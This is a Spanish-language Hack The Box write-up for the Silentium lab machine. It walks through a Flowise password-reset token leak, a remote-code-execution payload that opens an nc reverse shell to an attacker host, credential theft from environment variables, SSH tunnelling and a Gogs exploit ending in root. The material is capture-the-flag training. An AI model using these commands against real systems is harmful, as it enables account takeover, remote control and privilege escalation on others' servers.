
Hack The Box - Writeup de la máquina Silentium | CVE-2025-58434, CVE-2025-59528, CVE-2025-8110
nmap -sC -sV -p- --min-rate 5000 <IP> -oN nmap.txt
Puertos abiertos: 22 (SSH), 80 (HTTP)
staging.silentium.htb ejecuta Flowise 3.0.5El endpoint forgot-password filtra el tempToken directamente en la respuesta de la API.
curl -s http://staging.silentium.htb/api/v1/account/forgot-password \
-X POST -H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]"}}'
Usa el tempToken filtrado para restablecer la contraseña:
curl -s http://staging.silentium.htb/api/v1/account/reset-password \
-X POST -H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]","tempToken":"<TOKEN>","password":"Hacked123!"}}'
Inicia sesión para obtener la clave de API y luego ejecuta el RCE:
curl -s http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <API_KEY>" \
-d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(()=>{process.mainModule.require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <LHOST> 443 >/tmp/f\");return 1;})()})"}}'
Conseguimos una shell dentro del contenedor Docker como root.
Comprobamos las variables de entorno:
env
Encontramos las credenciales:
FLOWISE_USERNAME=benFLOWISE_PASSWORD=F1l3_d0ck3rConexión SSH al host:
ssh ben@<IP>
Gogs se ejecuta internamente en el puerto 3001 como root.
Configuramos un túnel SSH:
ssh -L 8080:127.0.0.1:3001 ben@<IP>
Creamos una cuenta en Gogs a través de http://127.0.0.1:8080 y generamos un token de API.
Usamos el exploit de TYehan:
python3 exploit.py \
--url http://127.0.0.1:8080 \
--username <user> \
--password <pass> \
--token <token> \
--host <LHOST> \
--port 4446
¡Conseguimos una shell como root! 🎉
/home/ben/user.txt/root/root.txt/etc/hosts: